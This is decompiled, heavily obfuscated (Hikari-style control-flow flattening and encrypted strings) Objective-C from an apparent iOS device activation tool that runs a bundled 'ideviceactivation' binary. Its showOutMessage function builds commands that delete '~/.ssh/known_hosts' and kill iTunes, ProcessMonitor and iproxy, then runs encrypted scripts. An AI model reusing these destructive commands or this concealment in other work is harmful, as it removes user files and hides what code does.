if ( v15 <= 1057500442 )
{
if ( v15 <= 453699159 )
{
if ( v15 > 124107359 )
{
if ( v15 == 124107360 )
{
*v21 = -1525081484;
}
else if ( v15 == 133091274 )
{
*v21 = -70371385;
}
}
else if ( v15 == -222825018 )
{
*v21 = -1011210462;
}
else if ( v15 == -70371385 )
{
*v21 = -582506944;
v13 = 0;
}
}
else if ( v15 <= 638034800 )
{
if ( v15 == 453699160 )
{
objc_msgSend(v9, v10, a1, 0);
objc_release(a1);
*v21 = -1553728729;
}
else if ( v15 == 550173129 )
{
v3 = -1205664260;
goto LABEL_97;
}
}
else
{
switch ( v15 )
{
case 638034801:
asc_10028ADD0[13] = 111;
asc_10028ADD0[14] = 100;
asc_10028ADD0[15] = 101;
asc_10028ADD0[16] = 32;
asc_10028ADD0[17] = 66;
asc_10028ADD0[18] = 97;
asc_10028ADD0[19] = 115;
asc_10028ADD0[20] = 101;
v2 = 0;
asc_10028ADD0[21] = 54;
asc_10028ADD0[22] = 52;
asc_10028ADD0[23] = 32;
asc_10028ADD0[24] = 115;
asc_10028ADD0[25] = 116;
asc_10028ADD0[26] = 114;
asc_10028ADD0[27] = 105;
asc_10028ADD0[28] = 110;
asc_10028ADD0[29] = 103;
asc_10028ADD0[30] = 0;
v3 = 1849729607;
v4 = -2048765090;
goto LABEL_95;
case 649084691:
v3 = 550173129;
goto LABEL_97;
case 659001461:
*v21 = 550173129;
break;
}
}
}
else if ( v15 > 1619697073 )
{
if ( v15 <= 1849729606 )
{
if ( v15 == 1619697074 )
{
v2 = !v20;
v3 = 1273321233;
v4 = -1174285690;
LABEL_95:
if ( !v2 )
v3 = v4;
goto LABEL_97;
}
if ( v15 == 1808465677 )
{
v18 = v14 == 0;
*v21 = 649084691;
}
}
else
{
switch ( v15 )
{
case 1849729607:
asc_10028ADD0[13] = 111;
asc_10028ADD0[14] = 100;
asc_10028ADD0[15] = 101;
asc_10028ADD0[16] = 32;
asc_10028ADD0[17] = 66;
asc_10028ADD0[18] = 97;
asc_10028ADD0[19] = 115;
asc_10028ADD0[20] = 101;
asc_10028ADD0[21] = 54;
asc_10028ADD0[22] = 52;
asc_10028ADD0[23] = 32;
asc_10028ADD0[24] = 115;
asc_10028ADD0[25] = 116;
asc_10028ADD0[26] = 114;
asc_10028ADD0[27] = 105;
asc_10028ADD0[28] = 110;
asc_10028ADD0[29] = 103;
asc_10028ADD0[30] = 0;
LABEL_91:
*v21 = 638034801;
break;
case 1920430297:
*v21 = 2144394513;
break;
case 2144394513:
v12 = "initWithData:encoding:";
*v21 = -1782279297;
break;
}
}
}
else if ( v15 <= 1314476174 )
{
if ( v15 == 1057500443 )
{
NSLog(CFSTR("\xAB\xBF\x84\tX\x84\xA91H\xB9נ\x90*\a\x95\xF3\x1C\xEB\x5E\xCD\x54ݵ\xA6S\xE4\x15\xF4T\x96"));
*v21 = -1462528002;
}
else if ( v15 == 1273321233 )
{
v5 = 0;
v3 = 1455139688;
v6 = -621467834;
goto LABEL_84;
}
}
else
{
switch ( v15 )
{
case 1314476175:
asc_10028ADD0[7] = v19;
asc_10028ADD0[8] = 111;
asc_10028ADD0[9] = 32;
asc_10028ADD0[10] = 100;
asc_10028ADD0[11] = 101;
asc_10028ADD0[12] = 99;
*v21 = -1367089950;
break;
case 1434454312:
*v21 = -582506944;
v13 = v8;
break;
case 1455139688:
v1 = objc_alloc((Class)&OBJC_CLASS___NSString);
v2 = 0;
v11 = v1;
v3 = -621467834;
v4 = 1920430297;
goto LABEL_95;
}
}
}
if ( v15 <= -1205664261 )
break;
if ( v15 <= -621467835 )
{
if ( v15 > -1018871882 )
{
if ( v15 == -1018871881 )
{
v8 = HikariFunctionWrapper_19147(v11, v12);
*v21 = 1434454312;
}
else if ( v15 == -1011210462 )
{
v3 = -1525081484;
goto LABEL_97;
}
}
else
{
if ( v15 == -1205664260 )
{
v2 = !v18;
v3 = -416265017;
v4 = -1969272218;
goto LABEL_95;
}
if ( v15 == -1174285690 )
{
v2 = 0;
v3 = 1057500443;
v4 = -1462528002;
goto LABEL_95;
}
}
}
else if ( v15 <= -549800245 )
{
if ( v15 == -621467834 )
{
objc_alloc((Class)&OBJC_CLASS___NSString);
*v21 = 1455139688;
}
else if ( v15 == -582506944 )
{
v16 = v13;
v5 = 1;
v3 = -2096385629;
v6 = -549800244;
goto LABEL_84;
}
}
else
{
switch ( v15 )
{
case -549800244:
objc_release(v17);
objc_autoreleaseReturnValue(v16);
v5 = 1;
v3 = -2096385629;
v6 = -1962660813;
LABEL_84:
if ( v5 )
v3 = v6;
LABEL_97:
*v21 = v3;
break;
case -458398613:
v3 = -1553728729;
goto LABEL_97;
case -416265017:
dword_10029F648 = 1;
objc_retain(a1);
v9 = HikariFunctionWrapper_19145((objc_class *)&OBJC_CLASS___NSData);
v10 = "initWithBase64EncodedString:options:";
*v21 = -458398613;
break;
}
}
}
if ( v15 <= -1553728730 )
break;
if ( v15 <= -1462528003 )
{
if ( v15 == -1553728729 )
{
v17 = objc_msgSend(v9, v10, a1, 0);
objc_release(a1);
v20 = v17 == 0;
v2 = 0;
v3 = -1553728729;
v4 = -222825018;
goto LABEL_95;
}
if ( v15 == -1525081484 )
{
v5 = 1;
v3 = -1525081484;
v6 = 1619697074;
goto LABEL_84;
}
}
else
{
switch ( v15 )
{
case -1462528002:
NSLog(CFSTR("\xAB\xBF\x84\tX\x84\xA91H\xB9נ\x90*\a\x95\xF3\x1C\xEB\x5E\xCD\x54ݵ\xA6S\xE4\x15\xF4T\x96"));
v2 = 0;
v3 = 1057500443;
v4 = 133091274;
goto LABEL_95;
case -1367089950:
goto LABEL_91;
case -1278533107:
objc_msgSend(v11, v12, v17, 4);
*v21 = -1018871881;
break;
}
}
}
if ( v15 > -1969272219 )
break;
if ( v15 == -2096385629 )
{
objc_release(v17);
objc_autoreleaseReturnValue(v16);
*v21 = -549800244;
}
else if ( v15 == -2048765090 )
{
*v21 = -416265017;
}
}
if ( v15 != -1969272218 )
break;
asc_10028ADD0[0] = 70;
asc_10028ADD0[1] = 97;
asc_10028ADD0[2] = 105;
asc_10028ADD0[3] = 108;
asc_10028ADD0[4] = 101;
asc_10028ADD0[5] = 100;
asc_10028ADD0[6] = 32;
v19 = 116;
*v21 = 1314476175;
}
if ( v15 == -1782279297 )
{
v2 = 0;
v3 = -1278533107;
v4 = -1018871881;
goto LABEL_95;
}
}
while ( v15 != -1962660813 );
return v16;
}
// 1001E3687: variable 'v11' is possibly undefined
// 1001E3687: variable 'v12' is possibly undefined
// 1001E39EC: variable 'v13' is possibly undefined
// 1001E3E5F: variable 'v8' is possibly undefined
// 1001E3EE6: variable 'v9' is possibly undefined
// 1001E3EE6: variable 'v10' is possibly undefined
// 10029F648: using guessed type int dword_10029F648;
//----- (00000001001E4187) ----------------------------------------------------
__CFString *RunIdeviceActivationState()
{
id v0; // rax
id v1; // rbx
id v2; // rax
id v3; // r14
id v4; // r13
id v5; // rax
id v6; // r15
__CFString *v7; // r15
NSArray *v8; // rax
NSArray *v9; // rbx
NSPipe *v10; // rax
NSPipe *v11; // rbx
id v12; // rax
id v13; // r15
id v14; // rax
id v15; // r12
id v16; // rax
__CFString *v17; // r13
NSCharacterSet *v18; // rax
NSCharacterSet *v19; // r12
id v20; // rax
id v21; // r15
id v22; // rax
id v23; // r12
id v24; // rax
id v25; // r15
id v26; // rax
id v27; // r12
id v29; // [rsp+0h] [rbp-50h] BYREF
id v30; // [rsp+8h] [rbp-48h]
id v31; // [rsp+10h] [rbp-40h]
id v32; // [rsp+18h] [rbp-38h]
__int64 v33; // [rsp+20h] [rbp-30h]
v33 = -1;
if ( !dword_10029F64C )
{
strcpy(aT_16, "Error: %@");
aD_13[0] = 115;
aD_13[1] = 116;
aD_13[2] = 97;
aD_13[3] = 116;
aD_13[4] = 101;
aD_13[5] = 0;
asc_10028AED8[0] = 78;
asc_10028AED8[1] = 111;
asc_10028AED8[2] = 79;
asc_10028AED8[3] = 117;
asc_10028AED8[4] = 116;
asc_10028AED8[5] = 112;
asc_10028AED8[6] = 117;
asc_10028AED8[7] = 116;
asc_10028AED8[8] = 0;
strcpy(asc_10028AF90, "hooks/resources/3m104dU/libimobiledevice/ideviceactivation");
strcpy(asc_10028AE50, "Executable not found");
strcpy(asc_10028AF10, "ActivationState:");
strcpy(asc_10028AEA0, "[Aldaz] Error ejecutando ideviceactivation: %@");
}
dword_10029F64C = 1;
v0 = objc_msgSend(
myBundle,
"pathForResource:ofType:",
CFSTR("\xDB\x34p\xDC\x212O\xF4\xCE\x23\x8A\xF5\x78\x6A\x91\x12\x99|\xDA\xDE\xAE\x9D\a\xC6\xF8\xB4ˎB\xBCZ\x10*c\x9B\xAE\x06\x01g\x91.\x9F\x80\x14\xB1\x8F~N\xAA\xE2\xCF\xBA@\xEA\x5C\x45\x96\x94,"),
&stru_10025B688);
v1 = objc_retainAutoreleasedReturnValue(v0);
v2 = HikariFunctionWrapper_19149(&OBJC_CLASS___NSFileManager, "defaultManager");
v3 = objc_retainAutoreleasedReturnValue(v2);
v32 = v1;
LOBYTE(v1) = (unsigned __int8)objc_msgSend(v3, "isExecutableFileAtPath:", v1);
objc_release(v3);
if ( (_BYTE)v1 )
{
v4 = v32;
v5 = HikariFunctionWrapper_19151((objc_class *)&OBJC_CLASS___NSTask);
v6 = HikariFunctionWrapper_19153(v5, "init");
objc_msgSend(v6, "setLaunchPath:", v4);
*(&v29 - 2) = CFSTR("}D\x19\xEF\x18\xB2");
v8 = +[NSArray arrayWithObjects:count:](&OBJC_CLASS___NSArray, "arrayWithObjects:count:", &v29 - 2, 1);
v9 = objc_retainAutoreleasedReturnValue(v8);
objc_msgSend(v6, "setArguments:", v9);
objc_release(v9);
v10 = +[NSPipe pipe](&OBJC_CLASS___NSPipe, "pipe");
v11 = objc_retainAutoreleasedReturnValue(v10);
objc_msgSend(v6, "setStandardOutput:", v11);
HikariFunctionWrapper_19155(v6, "setStandardError:");
v30 = v6;
v29 = v11;
objc_msgSend(v6, "launch");
objc_msgSend(v30, "waitUntilExit");
v12 = HikariFunctionWrapper_19157(v11, "fileHandleForReading");
v13 = objc_retainAutoreleasedReturnValue(v12);
v14 = objc_msgSend(v13, "readDataToEndOfFile", 626581290);
v15 = objc_retainAutoreleasedReturnValue(v14);
objc_release(v13);
v31 = v15;
v16 = objc_alloc((Class)&OBJC_CLASS___NSString);
v17 = (__CFString *)objc_msgSend(v16, "initWithData:encoding:", v31, 4);
if ( -[__CFString length](v17, "length", 150180188, 1140544112) )
{
v18 = +[NSCharacterSet whitespaceAndNewlineCharacterSet](
&OBJC_CLASS___NSCharacterSet,
"whitespaceAndNewlineCharacterSet");
v19 = objc_retainAutoreleasedReturnValue(v18);
v20 = HikariFunctionWrapper_19159(v17, "stringByTrimmingCharactersInSet:");
v21 = objc_retainAutoreleasedReturnValue(v20);
objc_release(v17);
objc_release(v19);
v22 = HikariFunctionWrapper_19161(v21, "stringByReplacingOccurrencesOfString:withString:");
v23 = objc_retainAutoreleasedReturnValue(v22);
objc_release(v21);
v24 = HikariFunctionWrapper_19163(&OBJC_CLASS___NSCharacterSet, "whitespaceAndNewlineCharacterSet");
v25 = objc_retainAutoreleasedReturnValue(v24);
v26 = objc_msgSend(v23, "stringByTrimmingCharactersInSet:", v25);
v17 = (__CFString *)objc_retainAutoreleasedReturnValue(v26);
objc_release(v23);
objc_release(v25);
objc_retain(v17);
v7 = v17;
}
else
{
v7 = CFSTR("\xE7\xAF\x4C\x93ǧ\x91o");
}
v27 = v31;
objc_release(v17);
objc_release(v27);
objc_release(v29);
objc_release(v30);
}
else
{
v7 = CFSTR("\x17\x806!kP|\xBF\x83\xDC\x03\x1C-t(.z\xB4\x1D\x06!");
}
objc_release(v32);
objc_autoreleaseReturnValue(v7);
return v7;
}
// 10025B688: using guessed type __CFString stru_10025B688;
// 10028B070: using guessed type __CFString stru_10028B070;
// 10028B0B0: using guessed type __CFString stru_10028B0B0;
// 10028B0F0: using guessed type __CFString cfstr_D_13;
// 10028B170: using guessed type __CFString stru_10028B170;
// 10029F64C: using guessed type int dword_10029F64C;
//----- (00000001001E6BAB) ----------------------------------------------------
id returnTempDir()
{
bool v0; // cf
int v1; // eax
int v2; // ecx
int v3; // ebx
bool v4; // zf
int v5; // ecx
char v6; // cf
int v7; // ecx
id v8; // rax
unsigned __int8 v9; // al
NSString *v10; // rax
NSString *v11; // r14
id v12; // rax
id v13; // r15
id v14; // rax
id v15; // r12
id v16; // rax
NSFileManager *v17; // rax
NSString *v18; // rax
NSString *v19; // r14
id v20; // rax
id v21; // r15
id v22; // rax
id v23; // r12
id v24; // rax
id v25; // rax
id v26; // rax
id v27; // rax
id v28; // rax
__int64 v30; // [rsp+0h] [rbp-90h] BYREF
SEL v31; // [rsp+8h] [rbp-88h]
id v32; // [rsp+10h] [rbp-80h]
unsigned int v33; // [rsp+1Ch] [rbp-74h]
int v34; // [rsp+20h] [rbp-70h]
int v35; // [rsp+24h] [rbp-6Ch] BYREF
id v36; // [rsp+28h] [rbp-68h]
id v37; // [rsp+30h] [rbp-60h]
id *v38; // [rsp+38h] [rbp-58h]
id v39; // [rsp+40h] [rbp-50h]
id v40; // [rsp+48h] [rbp-48h]
id v41; // [rsp+50h] [rbp-40h]
bool v42; // [rsp+5Ch] [rbp-34h]
unsigned __int8 v43; // [rsp+5Dh] [rbp-33h]
char v44; // [rsp+5Eh] [rbp-32h]
char v45; // [rsp+5Fh] [rbp-31h]
int *v46; // [rsp+60h] [rbp-30h]
v33 = -2147482046;
v35 = 1934578392;
v46 = &v35;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v35 <= -238266555 )
{
if ( v35 <= -736625015 )
{
if ( v35 > -1599405349 )
{
if ( v35 > -1428087457 )
{
switch ( v35 )
{
case -1428087456:
objc_release(v40);
objc_release(v41);
objc_autoreleaseReturnValue(v37);
*v46 = 1723954633;
break;
case -1061453507:
*v46 = 495305098;
v32 = 0;
break;
case -798404027:
*v46 = 495305098;
v32 = v41;
break;
}
}
else
{
switch ( v35 )
{
case -1599405348:
*v46 = 2115835552;
break;
case -1545963478:
v1 = -714972342;
goto LABEL_130;
case -1428728889:
v6 = 0;
v34 = dword_10029F650;
v1 = 1078988700;
v7 = -1428728889;
goto LABEL_126;
}
}
}
else if ( v35 > -1707588700 )
{
switch ( v35 )
{
case -1707588699:
dword_10029F650 = 1;
v38 = (id *)(&v30 - 2);
v18 = NSTemporaryDirectory();
v19 = objc_retainAutoreleasedReturnValue(v18);
v20 = HikariFunctionWrapper_19175(&OBJC_CLASS___NSUUID, "UUID");
v21 = objc_retainAutoreleasedReturnValue(v20);
v22 = objc_msgSend(v21, "UUIDString");
v23 = objc_retainAutoreleasedReturnValue(v22);
v24 = HikariFunctionWrapper_19177(v19, "stringByAppendingPathComponent:");
v41 = objc_retainAutoreleasedReturnValue(v24);
objc_release(v23);
objc_release(v21);
objc_release(v19);
v25 = HikariFunctionWrapper_19179(&OBJC_CLASS___NSFileManager, "defaultManager");
v26 = objc_retainAutoreleasedReturnValue(v25);
v6 = 0;
v36 = v26;
*v38 = 0;
v31 = "createDirectoryAtPath:withIntermediateDirectories:attributes:error:";
v1 = 257510427;
v7 = 436042160;
goto LABEL_126;
case -1648314856:
v0 = 0;
v1 = -601389971;
v2 = -689771879;
LABEL_114:
if ( !v0 )
v1 = v2;
goto LABEL_130;
case -1646951589:
*v46 = 1828489585;
break;
}
}
else
{
switch ( v35 )
{
case -2040511929:
NSLog(
CFSTR("α\xC3\x29\xF6\x88\x0F\x521x\xDB\xC2P\x82\x99\n\xFA\xB8\x1C\x0E\xDC\x78\xA4\xCB\x7D\xFA\xB1\xE1\x79\x46k\x8F\x93\x0F,\x12ϾO\x88d\xB1\xA8d\xBA+\xBAs"),
v39);
objc_release(v39);
v1 = 1728257743;
goto LABEL_130;
case -1988774636:
*v46 = 904645276;
break;
case -1952718629:
objc_retain(v40);
v3 = -319269626;
if ( !v43 )
v3 = -1545963478;
objc_release(v36);
*v46 = v3;
break;
}
}
}
else if ( v35 <= -601389972 )
{
if ( v35 > -689138534 )
{
switch ( v35 )
{
case -689138533:
v4 = 0;
aA_22[33] = v44;
aA_22[34] = 100;
v45 = -31;
v1 = 2031277127;
v5 = -1646951589;
LABEL_93:
if ( !v4 )
v1 = v5;
goto LABEL_130;
case -674190262:
qmemcpy(aA_22, "Error: Could not create temporary", 33);
v6 = 1;
v44 = 32;
v1 = -674190262;
v7 = -1988774636;
goto LABEL_126;
case -625396898:
v9 = (unsigned __int8)HikariFunctionWrapper_19181(v36, v31);
v0 = 0;
v43 = v9;
v40 = *v38;
v1 = -625396898;
v2 = -532474385;
goto LABEL_114;
}
}
else
{
switch ( v35 )
{
case -736625014:
v0 = 1;
v1 = -1648314856;
v2 = -601389971;
goto LABEL_114;
case -714972342:
v27 = objc_msgSend(v40, "localizedDescription");
v28 = objc_retainAutoreleasedReturnValue(v27);
v0 = 0;
v39 = v28;
v1 = -714972342;
v2 = -172478915;
goto LABEL_114;
case -689771879:
v4 = !v42;
v1 = 2115835552;
v5 = 169187482;
goto LABEL_93;
}
}
}
else if ( v35 <= -458164852 )
{
switch ( v35 )
{
case -601389971:
*v46 = -1648314856;
break;
case -533878231:
v1 = -1061453507;
goto LABEL_130;
case -532474385:
*v46 = -1952718629;
break;
}
}
else if ( v35 > -325014523 )
{
if ( v35 == -325014522 )
{
qmemcpy(aA_22, "Error: Could not create temporary", 33);
*v46 = -674190262;
}
else if ( v35 == -319269626 )
{
v0 = 0;
v1 = 846453921;
v2 = 410465691;
goto LABEL_114;
}
}
else
{
if ( v35 == -458164851 )
{
v6 = 1;
v1 = 88635611;
v7 = -625396898;
goto LABEL_126;
}
if ( v35 == -415805876 )
{
aA_22[35] = v45 ^ 0x88;
aA_22[36] = 114;
aA_22[37] = 101;
aA_22[38] = 99;
aA_22[39] = 116;
aA_22[40] = 111;
aA_22[41] = 114;
aA_22[42] = 121;
aA_22[43] = 58;
aA_22[44] = 32;
aA_22[45] = 37;
aA_22[46] = 64;
aA_22[47] = 0;
*v46 = -1599405348;
}
}
}
if ( v35 <= 846453920 )
break;
if ( v35 <= 1723954632 )
{
if ( v35 > 1078988699 )
{
switch ( v35 )
{
case 1078988700:
*v46 = 1632655068;
break;
case 1274631432:
v1 = -2040511929;
goto LABEL_130;
case 1632655068:
v42 = v34 == 0;
*v46 = -736625014;
break;
}
}
else
{
switch ( v35 )
{
case 846453921:
objc_retain(v41);
*v46 = 410465691;
break;
case 904645276:
v6 = 1;
v1 = 2031277127;
v7 = -689138533;
LABEL_126:
if ( v6 )
v1 = v7;
LABEL_130:
*v46 = v1;
break;
case 1002938585:
v8 = HikariFunctionWrapper_19187(v40, "localizedDescription");
objc_retainAutoreleasedReturnValue(v8);
*v46 = -714972342;
break;
}
}
}
else if ( v35 <= 1890549351 )
{
switch ( v35 )
{
case 1723954633:
objc_release(v40);
objc_release(v41);
objc_autoreleaseReturnValue(v37);
*v46 = 5763699;
break;
case 1728257743:
*v46 = 164246215;
break;
case 1828489585:
v4 = 0;
v1 = 756674686;
v5 = -415805876;
goto LABEL_93;
}
}
else if ( v35 > 2031277126 )
{
if ( v35 == 2031277127 )
{
aA_22[33] = v44;
aA_22[34] = 100;
*v46 = -689138533;
}
else if ( v35 == 2115835552 )
{
v0 = 0;
v1 = 436042160;
v2 = -1707588699;
goto LABEL_114;
}
}
else if ( v35 == 1890549352 )
{
*v46 = -533878231;
}
else if ( v35 == 1934578392 )
{
v0 = v33 < 0x49074D42;
v1 = -238266554;
v2 = -1428728889;
goto LABEL_114;
}
}
if ( v35 <= 169187481 )
break;
if ( v35 > 436042159 )
{
switch ( v35 )
{
case 436042160:
dword_10029F650 = 1;
v10 = NSTemporaryDirectory();
v11 = objc_retainAutoreleasedReturnValue(v10);
v12 = HikariFunctionWrapper_19183(&OBJC_CLASS___NSUUID, "UUID");
v13 = objc_retainAutoreleasedReturnValue(v12);
v14 = objc_msgSend(v13, "UUIDString");
v15 = objc_retainAutoreleasedReturnValue(v14);
v16 = HikariFunctionWrapper_19185(v11, "stringByAppendingPathComponent:");
objc_retainAutoreleasedReturnValue(v16);
objc_release(v15);
objc_release(v13);
objc_release(v11);
v17 = +[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager");
objc_retainAutoreleasedReturnValue(v17);
*(&v30 - 2) = 0;
*v46 = -1707588699;
break;
case 495305098:
v37 = v32;
v0 = 1;
v1 = 1723954633;
v2 = -1428087456;
goto LABEL_114;
case 756674686:
aA_22[35] = v45 ^ 0x88;
aA_22[36] = 114;
aA_22[37] = 101;
aA_22[38] = 99;
aA_22[39] = 116;
aA_22[40] = 111;
aA_22[41] = 114;
aA_22[42] = 121;
aA_22[43] = 58;
aA_22[44] = 32;
aA_22[45] = 37;
aA_22[46] = 64;
aA_22[47] = 0;
*v46 = -415805876;
break;
}
}
else
{
switch ( v35 )
{
case 169187482:
v1 = -674190262;
goto LABEL_130;
case 257510427:
*v46 = -458164851;
break;
case 410465691:
objc_retain(v41);
v6 = 0;
v1 = -75673128;
v7 = 846453921;
goto LABEL_126;
}
}
}
if ( v35 > 5763698 )
break;
switch ( v35 )
{
case -238266554:
*v46 = -1428728889;
break;
case -172478915:
*v46 = 1274631432;
break;
case -75673128:
*v46 = -798404027;
break;
}
}
if ( v35 <= 164246214 )
break;
if ( v35 == 164246215 )
{
v6 = 1;
v1 = 1890549352;
v7 = -533878231;
goto LABEL_126;
}
if ( v35 == 168393980 )
{
NSLog(
CFSTR("α\xC3\x29\xF6\x88\x0F\x521x\xDB\xC2P\x82\x99\n\xFA\xB8\x1C\x0E\xDC\x78\xA4\xCB\x7D\xFA\xB1\xE1\x79\x46k\x8F\x93\x0F,\x12ϾO\x88d\xB1\xA8d\xBA+\xBAs"),
v39);
objc_release(v39);
*v46 = -2040511929;
}
}
if ( v35 != 88635611 )
break;
objc_msgSend(v36, v31, v41, 1, 0, v38);
*v46 = -625396898;
}
}
while ( v35 != 5763699 );
return v37;
}
// 10029F650: using guessed type int dword_10029F650;
//----- (00000001001E7E6F) ----------------------------------------------------
__int64 __fastcall showOutMessage(id a1)
{
__int64 result; // rax
int v2; // eax
bool v3; // zf
int v4; // ecx
char v5; // cf
int v6; // ecx
int v7; // ecx
id *v8; // r14
id *v9; // r14
__int64 v10; // [rsp+0h] [rbp-50h] BYREF
int v11; // [rsp+8h] [rbp-48h]
int v12; // [rsp+Ch] [rbp-44h] BYREF
dispatch_block_t block; // [rsp+10h] [rbp-40h]
bool v14; // [rsp+1Eh] [rbp-32h]
char v15; // [rsp+1Fh] [rbp-31h]
int *v16; // [rsp+20h] [rbp-30h]
HIDWORD(v10) = 1049251328;
v12 = 1262772873;
v16 = &v12;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v12;
if ( v12 <= 554845789 )
break;
if ( v12 > 1395318677 )
{
if ( v12 <= 1494804078 )
{
if ( v12 > 1438345301 )
{
if ( v12 == 1438345302 )
{
*v16 = -1112478788;
}
else if ( v12 == 1447984670 )
{
strcpy(asc_100277A00, "rm -rf ~/.ssh/known_hosts");
strcpy(asc_1002779C0, "/usr/bin/killall iTunes");
qmemcpy(asc_100277980, "/usr/bin/killall ProcessMoni", 28);
*v16 = 1849729657;
}
}
else
{
if ( v12 == 1395318678 )
{
v2 = 1170025048;
goto LABEL_93;
}
if ( v12 == 1427802544 )
*v16 = -73348928;
}
}
else if ( v12 <= 1828478946 )
{
if ( v12 == 1494804079 )
{
asc_100277980[28] = v15;
asc_100277980[29] = 111;
asc_100277980[30] = 114;
asc_100277980[31] = 0;
strcpy(a5_3, "/usr/bin/killall -9 iproxy");
v3 = 0;
v2 = 42692765;
v4 = 1022617595;
goto LABEL_89;
}
if ( v12 == 1564712921 )
{
v5 = 1;
v11 = dword_10029F654;
v2 = -567241162;
v6 = 1564712921;
goto LABEL_82;
}
}
else
{
switch ( v12 )
{
case 1828478947:
v2 = -2144882408;
goto LABEL_93;
case 1849729657:
strcpy(asc_100277A00, "rm -rf ~/.ssh/known_hosts");
strcpy(asc_1002779C0, "/usr/bin/killall iTunes");
qmemcpy(asc_100277980, "/usr/bin/killall ProcessMoni", 28);
v5 = 0;
v15 = 116;
v2 = 1447984670;
v6 = -1623615905;
LABEL_82:
if ( !v5 )
v2 = v6;
LABEL_93:
*v16 = v2;
break;
case 2075322261:
dword_10029F654 = 1;
objc_retain(a1);
runScript(CFSTR("\x1A\x7FL\xC2\xE2ܲ\x9C\x88k\xF2\x99\x47\x04C\xBC\x18\x02\x8Ae\"6U\x03"));
runScript(CFSTR("\xAF\xEF\x59\xB8b\xE2\x29\x6E\x8D3AopZ\xFA \x11\x17)\x82]\a\xA5N"));
runScript(CFSTR("\xF9\x81\x8C\xCA\x60\x04\xACZ\xBBm\x836\x8B\xD5\x77\xBF\xC1\x65\x0F\xE7\xBE\xF9\xE4\xE5\x04\xF5\xEA\x3C\x29p\xBD"));
runScript(CFSTR("5\x92\x10\xBA\x1CsХ\x85\xA6\xA3J\xD0\x63Wƞ\x19G/c]Z\xDD\x6D\xA0!"));
*v16 = -1753842024;
break;
}
}
}
else if ( v12 <= 1170025047 )
{
if ( v12 > 688998673 )
{
if ( v12 == 688998674 )
{
*v16 = 1564712921;
}
else if ( v12 == 1022617595 )
{
*v16 = 554845790;
}
}
else
{
if ( v12 == 554845790 )
{
v7 = -73348928;
goto LABEL_87;
}
if ( v12 == 675312691 )
{
v3 = 0;
v2 = 1198707488;
v4 = -1236382150;
goto LABEL_89;
}
}
}
else if ( v12 <= 1262772872 )
{
if ( v12 == 1170025048 )
{
*(_QWORD *)block = _NSConcreteStackBlock;
*((_DWORD *)block + 2) = -1040187392;
*((_DWORD *)block + 3) = 0;
*((_QWORD *)block + 2) = __showOutMessage_block_invoke;
*((_QWORD *)block + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
v8 = (id *)block;
*((_QWORD *)block + 4) = a1;
objc_retain(a1);
dispatch_async(&_dispatch_main_q, block);
objc_release(v8[4]);
objc_release(a1);
v3 = 0;
v2 = -93630483;
v4 = 508711250;
goto LABEL_89;
}
if ( v12 == 1198707488 )
*v16 = -1236382150;
}
else
{
switch ( v12 )
{
case 1262772873:
v3 = HIDWORD(v10) == 649509551;
v2 = 688998674;
v4 = 1564712921;
LABEL_89:
if ( !v3 )
v2 = v4;
goto LABEL_93;
case 1341799196:
*v16 = -2144882408;
break;
case 1385304918:
v2 = -758925014;
goto LABEL_93;
}
}
}
if ( v12 <= -405737912 )
break;
if ( v12 <= -93630484 )
{
if ( v12 > -250786052 )
{
if ( v12 == -250786051 )
{
v7 = 1385304918;
goto LABEL_87;
}
if ( v12 == -243395322 )
{
v5 = 0;
v2 = 1447984670;
v6 = 1849729657;
goto LABEL_82;
}
}
else if ( v12 == -405737911 )
{
*v16 = 1385304918;
}
else if ( v12 == -343033384 )
{
v3 = !v14;
v2 = -1112478788;
v4 = -243395322;
goto LABEL_89;
}
}
else if ( v12 <= 42692764 )
{
if ( v12 == -93630483 )
{
*(_QWORD *)block = _NSConcreteStackBlock;
*((_DWORD *)block + 2) = -1040187392;
*((_DWORD *)block + 3) = 0;
*((_QWORD *)block + 2) = __showOutMessage_block_invoke;
*((_QWORD *)block + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
v9 = (id *)block;
*((_QWORD *)block + 4) = a1;
objc_retain(a1);
dispatch_async(&_dispatch_main_q, block);
objc_release(v9[4]);
objc_release(a1);
*v16 = 1170025048;
}
else if ( v12 == -73348928 )
{
v2 = 1438345302;
goto LABEL_93;
}
}
else
{
switch ( v12 )
{
case 42692765:
asc_100277980[28] = v15;
asc_100277980[29] = 111;
asc_100277980[30] = 114;
asc_100277980[31] = 0;
strcpy(a5_3, "/usr/bin/killall -9 iproxy");
*v16 = 1494804079;
break;
case 161270521:
v7 = 1494804079;
goto LABEL_87;
case 508711250:
*v16 = -250786051;
break;
}
}
}
if ( v12 > -1236382151 )
break;
if ( v12 > -1753842025 )
{
if ( v12 == -1753842024 )
{
dword_10029F654 = 1;
block = &v10 - 6;
objc_retain(a1);
runScript(CFSTR("\x1A\x7FL\xC2\xE2ܲ\x9C\x88k\xF2\x99\x47\x04C\xBC\x18\x02\x8Ae\"6U\x03"));
runScript(CFSTR("\xAF\xEF\x59\xB8b\xE2\x29\x6E\x8D3AopZ\xFA \x11\x17)\x82]\a\xA5N"));
runScript(CFSTR("\xF9\x81\x8C\xCA\x60\x04\xACZ\xBBm\x836\x8B\xD5\x77\xBF\xC1\x65\x0F\xE7\xBE\xF9\xE4\xE5\x04\xF5\xEA\x3C\x29p\xBD"));
HikariFunctionWrapper_19189(CFSTR("5\x92\x10\xBA\x1CsХ\x85\xA6\xA3J\xD0\x63Wƞ\x19G/c]Z\xDD\x6D\xA0!"));
v3 = 0;
v2 = 2075322261;
v4 = -794948197;
goto LABEL_89;
}
if ( v12 == -1623615905 )
*v16 = 161270521;
}
else
{
if ( v12 == -2144882408 )
{
v3 = 0;
v2 = 1341799196;
v4 = -343033384;
goto LABEL_89;
}
if ( v12 == -1841710179 )
*v16 = 1828478947;
}
}
if ( v12 > -794948198 )
break;
if ( v12 == -1236382150 )
{
v14 = v11 == 0;
v5 = 1;
v2 = -1841710179;
v6 = -1236382150;
goto LABEL_82;
}
if ( v12 == -1112478788 )
{
v7 = -1753842024;
LABEL_87:
v2 = v7;
goto LABEL_93;
}
}
if ( v12 != -794948197 )
break;
*v16 = 1395318678;
}
if ( v12 != -567241162 )
break;
*v16 = 675312691;
}
}
